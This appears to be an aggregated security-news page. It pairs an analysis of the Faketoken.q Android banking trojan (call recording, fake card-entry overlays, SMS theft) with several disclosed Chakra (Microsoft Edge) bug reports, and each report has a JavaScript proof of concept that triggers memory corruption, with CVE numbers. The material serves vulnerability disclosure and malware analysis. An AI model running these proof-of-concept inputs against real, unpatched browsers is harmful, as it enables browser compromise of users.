Booking a Taxi for Faketoken

The Trojan-Banker.AndroidOS.Faketoken malware has been known about for already more than a year. Throughout the time of its existence, it has worked its way up from a primitive Trojan intercepting mTAN codes to an encrypter. The authors of its newer modifications continue to upgrade the malware, while its geographical spread is growing. Some of these modifications contain overlay mechanisms for about 2,000 financial apps. In one of the newest versions, we also detected a mechanism for attacking apps for booking taxis and paying traffic tickets issued by the Main Directorate for Road Traffic Safety.

Not so long ago, thanks to our colleagues from a large Russian bank, we detected a new Trojan sample, Faketoken.q, which contained a number of curious features.

Infection

We have not yet managed to reconstruct the entire chain of events leading to infection, but the application icon suggests that the malware sneaks onto smartphones through bulk SMS messages with a prompt to download some pictures.

The malware icon

The structure of the malware

The mobile Trojan that we examined consists of two parts. The first part is an obfuscated dropper (verdict: Trojan-Banker.AndroidOS.Fyec.az): files like this are usually obfuscated on the server side in order to resist detection. At first glance, it may seem that its code is gibberish:

However, this is code works quite well. It decrypts and launches the second part of the malware. This is standard practice these days, whereas unpacked Trojans are very rare.

The second part of the malware, which is a file with DAT extensions, contains the malware’s main features. The data becomes encrypted:

By decrypting the data, it is possible to obtain a rather legible code:

After the Trojan initiates, it hides its shortcut icon and starts to monitor all of the calls and whichever apps the user launches. Upon receiving a call from (or making a call to) a certain phone number, the malware begins to record the conversation and sends it to evildoers shortly after the conversation ends.

The code for recording a conversation

The authors of Faketoken.q kept the overlay features and simplified them considerably. So, the Trojan is capable of overlaying several banking and miscellaneous applications, such as Android Pay, Google Play Store, and apps for paying traffic tickets and booking flights, hotel rooms, and taxis.

Faketoken.q monitors active apps and, as soon as the user launches a specific one, it substitutes its UI with a fake one, prompting the victim to enter his or her bank card data. The substitution happens instantaneously, and the colors of the fake UI correspond to those of the original launched app.

It should be noted that all of the apps attacked by this malware sample have support for linking bank cards in order to make payments. However, the terms of some apps make it mandatory to link a bank card in order to use the service. As millions of Android users have these applications installed, the damage caused by Faketoken can be significant.

However, the following question may arise: what do fraudsters do in order to process a payment if they have to enter an SMS code sent by the bank? Evildoers successfully accomplish this by stealing incoming SMS messages and forwarding them to command-and-control servers.

We are inclined to believe that the version that we got our hands on is still unfinished, as screen overlays contain formatting artifacts, which make it easy for a victim to identify it as fake:

The screen overlays for the UI of a taxi-booking app

As screen overlays are a documented feature widely used in a large number of apps (window managers, messengers, etc.), protecting yourself against such fake overlays is quite complicated, a fact that is exploited by evildoers.

To this day we still have not registered a large number of attacks with the Faketoken sample, and we are inclined to believe that this is one of its test versions. According to the list of attacked applications, the Russian UI of the overlays, and the Russian language in the code, Faketoken.q is focused on attacking users from Russia and CIS countries.

Precautions

In order to avoid falling victim to Faketoken and apps similar to it, we strongly discourage the installation of third-party software on your Android device. A mobile security solution like Kaspersky Mobile Antivirus: Web Security & AppLock would be quite helpful too.

MD5

CF401E5D21DE36FF583B416FA06231D5

Microsoft Edge Chakra Incorrect Jit Optimization

Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #3

CVE-2017-8601

Coincidentally, Microsoft released the patch for the <a href=”/p/project-zero/issues/detail?id=1290″ title=”Microsoft Edge: Chakra: incorrect jit optimization with TypedArray setter #2″ class=”closed_ref” rel=”nofollow”> issue 1290 </a> the day after I reported it. But it seems they fixed it incorrectly again.

This time, “func(a, b, i);” is replaced with “func(a, b, {});”.

PoC:
‘use strict’;

function func(a, b, c) {
a[0] = 1.2;
b[0] = c;
a[1] = 2.2;
a[0] = 2.3023e-320;
}

function main() {
let a = [1.1, 2.2];
let b = new Uint32Array(100);

for (let i = 0; i < 0x1000; i++)
func(a, b, {}); // <<———- REPLACED

func(a, b, {valueOf: () => {
a[0] = {};

return 0;
}});

a[0].toString();
}

main();

Tested on Microsoft Edge 40.15063.0.0(Insider Preview).

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

Microsoft Edge Chakra EmitNew Integer Overflow

Microsoft Edge: Chakra: Integer overflow in EmitNew

CVE-2017-8636

The bytecode generator uses the “EmitNew” function to handle new operators.
Here’s the code how the function checks for integer overflow.
void EmitNew(ParseNode* pnode, ByteCodeGenerator* byteCodeGenerator, FuncInfo* funcInfo)
{
Js::ArgSlot argCount = pnode->sxCall.argCount;
argCount++; // include “this”

BOOL fSideEffectArgs = FALSE;
unsigned int tmpCount = CountArguments(pnode->sxCall.pnodeArgs, &fSideEffectArgs);
Assert(argCount == tmpCount);

if (argCount != (Js::ArgSlot)argCount)
{
Js::Throw::OutOfMemory();
}

}

“Js::ArgSlot” is a 16 bit unsigned integer type. And “argCount” is of the type “Js::ArgSlot”. So “if (argCount != (Js::ArgSlot)argCount)” has no point. It can’t prevent the integer overflow at all.

PoC:
let args = new Array(0x10000);
args = args.fill(0x1234).join(‘, ‘);
eval(‘new Array(‘ + args + ‘)’);

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

Microsoft Edge Chakra Parser::ParseFncFormals Uninitialized Arguments

Microsoft Edge: Chakra: Uninitialized arguments 2

CVE-2017-8670

Similar to the <a href=”/p/project-zero/issues/detail?id=1297″ title=”Microsoft Edge: Chakra: Uninitialized arguments” class=”closed_ref” rel=”nofollow”> issue #1297 </a>. But this time, it happends in “Parser::ParseFncFormals” with the “PNodeFlags::fpnArguments_overriddenInParam” flag.

template<bool buildAST>
void Parser::ParseFncFormals(ParseNodePtr pnodeFnc, ParseNodePtr pnodeParentFnc, ushort flags)
{

if (IsES6DestructuringEnabled() && IsPossiblePatternStart())
{

// Instead of passing the STFormal all the way on many methods, it seems it is better to change the symbol type afterward.
for (ParseNodePtr lexNode = *ppNodeLex; lexNode != nullptr; lexNode = lexNode->sxVar.pnodeNext)
{
Assert(lexNode->IsVarLetOrConst());
UpdateOrCheckForDuplicateInFormals(lexNode->sxVar.pid, &formals);
lexNode->sxVar.sym->SetSymbolType(STFormal);
if (m_currentNodeFunc != nullptr && lexNode->sxVar.pid == wellKnownPropertyPids.arguments)
{
m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenInParam; <<—— HERE
}
}


}

PoC:
function f() {
({a = ([arguments]) => {
}} = 1);

arguments.x;
}

f();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

Microsoft Edge Chakra Uninitialized Arguments

Microsoft Edge: Chakra: Uninitialized arguments

CVE-2017-8640

Here’s a snippet of “ParseVariableDeclaration” which is used for parsing declarations.
template<bool buildAST>
ParseNodePtr Parser::ParseVariableDeclaration(
tokens declarationType, charcount_t ichMin,
BOOL fAllowIn/* = TRUE*/,
BOOL* pfForInOk/* = nullptr*/,
BOOL singleDefOnly/* = FALSE*/,
BOOL allowInit/* = TRUE*/,
BOOL isTopVarParse/* = TRUE*/,
BOOL isFor/* = FALSE*/,
BOOL* nativeForOk /*= nullptr*/)
{

if (pid == wellKnownPropertyPids.arguments && m_currentNodeFunc)
{
// This var declaration may change the way an ‘arguments’ identifier in the function is resolved
if (declarationType == tkVAR)
{
m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_varDeclaration;
}
else
{
if (GetCurrentBlockInfo()->pnodeBlock->sxBlock.blockType == Function)
{
// Only override arguments if we are at the function block level.
m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenByDecl;
}
}
}

}

“m_currentNodeFunc” is only replaced when “buildAST” is true. So I think it’s not supposed to use “m_currentNodeFunc” when “buildAST” is false. But the above code is using it regardless of “buildAST”. So it may change a wrong function’s “grfpn” flag. What I noticed is the “PNodeFlags::fpnArguments_overriddenByDecl” flag which makes the function’s arguments uninitialized.

PoC:
function f() {
({a = () => {
let arguments;
}} = 1);

arguments.x;
}

f();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

Microsoft Edge Chakra JavascriptFunction::EntryCall Mishandled CallInfo

Microsoft Edge: Chakra: JavascriptFunction::EntryCall doesn’t handle CallInfo properly

CVE-2017-8671

Here’s the method.
Var JavascriptFunction::EntryCall(RecyclableObject* function, CallInfo callInfo, …)
{
PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault);

RUNTIME_ARGUMENTS(args, callInfo);
ScriptContext* scriptContext = function->GetScriptContext();

Assert(!(callInfo.Flags & CallFlags_New));

///
/// Check Argument[0] has internal [[Call]] property
/// If not, throw TypeError
///
if (args.Info.Count == 0 || !JavascriptConversion::IsCallable(args[0]))
{
JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NeedFunction, _u(“Function.prototype.call”));
}

RecyclableObject *pFunc = RecyclableObject::FromVar(args[0]);
if (args.Info.Count == 1)
{
args.Values[0] = scriptContext->GetLibrary()->GetUndefined();
}
else
{
///
/// Remove function object from the arguments and pass the rest
///
for (uint i = 0; i < args.Info.Count – 1; ++i)
{
args.Values[i] = args.Values[i + 1];
}
args.Info.Count = args.Info.Count – 1;
}

///
/// Call the [[Call]] method on the function object
///
return JavascriptFunction::CallFunction<true>(pFunc, pFunc->GetEntryPoint(), args);
}

Chakra uses the first value of “args.Values” as “this” and “args.Info.Count – 1” as the length of the arguments. So “args.Info.Count” must always be 1 or greater.

But the problem is that the method decrements “args.Info.Count” by one without considering the flag “CallFlags_ExtraArg”. If the flag is set, the value of “args.Info.Count” will be decremented again in the next routine(ArgumentReader::AdjustArguments) because the last value of the arguments is not used as an actual argument. Therefore, the value of “args.Info.Count” becomes 0.

PoC:
function f() {
print(arguments);
}

let call = new Proxy(Function.prototype.call, {}); // proxy calls set the flag
call.call(f);

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

Microsoft Edge Chakra TryUndeleteProperty Incorrect Usage

Microsoft Edge: Chakra: Incorrect usage of TryUndeleteProperty

CVE-2017-8635

Chakra implemented the reuse of deleted properties of an unordered dictionary object with the following code.

bool SimpleDictionaryUnorderedTypeHandler::TryReuseDeletedPropertyIndex(
DynamicObject *const object,
TPropertyIndex *const propertyIndex)
{
if(deletedPropertyIndex == PropertyIndexRanges<TPropertyIndex>::NoSlots)
{
return false;
}

*propertyIndex = deletedPropertyIndex;
deletedPropertyIndex = static_cast<TPropertyIndex>(TaggedInt::ToInt32(object->GetSlot(deletedPropertyIndex)));
return true;
}

bool SimpleDictionaryUnorderedTypeHandle::TryUndeleteProperty(
DynamicObject *const object,
const TPropertyIndex existingPropertyIndex,
TPropertyIndex *const propertyIndex)
{

if(!IsReusablePropertyIndex(existingPropertyIndex))
{
return false;
}

const bool reused = TryReuseDeletedPropertyIndex(object, propertyIndex);
Assert(reused);


return true;
}

BOOL SimpleDictionaryTypeHandlerBase<TPropertyIndex, TMapKey, IsNotExtensibleSupported>::SetPropertyFromDescriptor(DynamicObject* instance, PropertyId propertyId, TPropertyKey propertyKey, SimpleDictionaryPropertyDescriptor<TPropertyIndex>* descriptor, Var value, PropertyOperationFlags flags, PropertyValueInfo* info)
{

if (descriptor->Attributes & PropertyDeleted)
{

if(isUnordered)
{
TPropertyIndex propertyIndex;
if(AsUnordered()->TryUndeleteProperty(instance, descriptor->propertyIndex, &propertyIndex))
{
Assert(PropertyRecordStringHashComparer<TMapKey>::Equals(propertyMap->GetKeyAt(propertyIndex), propertyRecord));
descriptor = propertyMap->GetReferenceAt(propertyIndex);
}
}

if (IsNotExtensibleSupported)
{
bool isForce = (flags & PropertyOperation_Force) != 0;
if (!isForce)
{
if (!this->VerifyIsExtensible(scriptContext, throwIfNotExtensible))
{
return FALSE; <<—— (a)
}
}
}

descriptor->Attributes = PropertyDynamicTypeDefaults;

}

}

“TryUndeleteProperty” is calling “TryReuseDeletedPropertyIndex” on the assumption that the return value of it is always true. But if the method exits at (a), “descriptor->Attributes” will remain with “PropertyDeleted” set, and therefore we can call “TryUndeleteProperty” again and again until “deletedPropertyIndex” becames “NoSlots” which makes “TryReuseDeletedPropertyIndex” return false.

In the debug build, the PoC hits the assertion “Assert(reused);”. In the release build, “propertyIndex” remains uninitialized, this will cause a memory corruption.

PoC:
const kNumProperties = 100;

let o = {};
for (let i = 0; i < kNumProperties; ++i)
o[‘a’ + i] = i;

Object.preventExtensions(o); // IsNotExtensibleSupported && !this->VerifyIsExtensible

for (let i = 0; i < kNumProperties; ++i)
delete o[‘a’ + i];

for (let i = 0; i < 0x1000; ++i)
o[‘a0’] = 1; // calling TryUndeleteProperty again again

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

Microsoft Edge Chakra PushPopFrameHelper Incorrect Usage

Microsoft Edge: Chakra: Incorrect usage of PushPopFrameHelper in InterpreterStackFrame::ProcessLinkFailedAsmJsModule

CVE-2017-8646

PushPopFrameHelper is a class that pushes the current stack frame object in its constructor and pops it in the destructor. So it should be used like “PushPopFrameHelper holder(…)”, but InterpreterStackFrame::ProcessLinkFailedAsmJsModule uses it like a function.

Var InterpreterStackFrame::ProcessLinkFailedAsmJsModule()
{

PushPopFrameHelper(newInstance, _ReturnAddress(), _AddressOfReturnAddress());

}

It pushes “newInstance” and immediately pop it.

The PoC will crash in the following code.
void BailOutRecord::ScheduleLoopBodyCodeGen(Js::ScriptFunction * function, Js::ScriptFunction * innerMostInlinee, BailOutRecord const * bailOutRecord, IR::BailOutKind bailOutKind)
{

Js::InterpreterStackFrame * interpreterFrame = executeFunction->GetScriptContext()->GetThreadContext()->GetLeafInterpreterFrame(); <<– Invalid stack frame object
loopHeader = executeFunction->GetLoopHeader(interpreterFrame->GetCurrentLoopNum()); <<– interpreterFrame->GetCurrentLoopNum() == -1

}

PoC:
function asmModule() {
‘use asm’;

let a = [1, 2, 3, 4];
for (let i = 0; i < 0x100000; i++) { // JIT
a[0] = 1;
if (i === 0x30000) {
a[0] = {}; // the array type changed, bailout!!
}
}

function f(v) {
v = v | 0;
return v | 0;
}
return f;
}

asmModule(1);

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

Microsoft Edge Charka Failed Re-Parse

Microsoft Edge: Chakra: InterpreterStackFrame::ProcessLinkFailedAsmJsModule incorrectly re-parses

CVE-2017-8645

When Chakra fails to link an asmjs module, it tries to re-parse the failed-to-link asmjs function to treat it as a normal javascript function. But it incorrectly handles the case where the function is a class. It starts to parse from the start of the class declaration instead of the constructor. So it may result in binding incorrect information to the constructor. In the PoC, it binds the information of the method “f”(“f2” in the latest release version of Edge) to the constructor.

The PoC hits the following assertion in the debug build.
FuncInfo * ByteCodeGenerator::StartBindFunction(const char16 *name, uint nameLength, uint shortNameOffset, bool* pfuncExprWithName, ParseNode *pnode, Js::ParseableFunctionInfo * reuseNestedFunc)
{
bool funcExprWithName;
Js::ParseableFunctionInfo* parseableFunctionInfo = nullptr;

Js::AutoRestoreFunctionInfo autoRestoreFunctionInfo(reuseNestedFunc, reuseNestedFunc ? reuseNestedFunc->GetOriginalEntryPoint() : nullptr);

if (this->pCurrentFunction &&
this->pCurrentFunction->IsFunctionParsed())
{
Assert(this->pCurrentFunction->StartInDocument() == pnode->ichMin); <<——- here

}

}

“this->pCurrentFunction” is the consturctor, but “pnode” refers to the method “f”.

PoC:
class MyClass {
f(a) {
print(a);
}

constructor() {
‘use asm’;
function f(v) {
v = v | 0;
return v | 0;
}
return f;
}

f2(a) {
print(a);
}
}

MyClass(1);

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt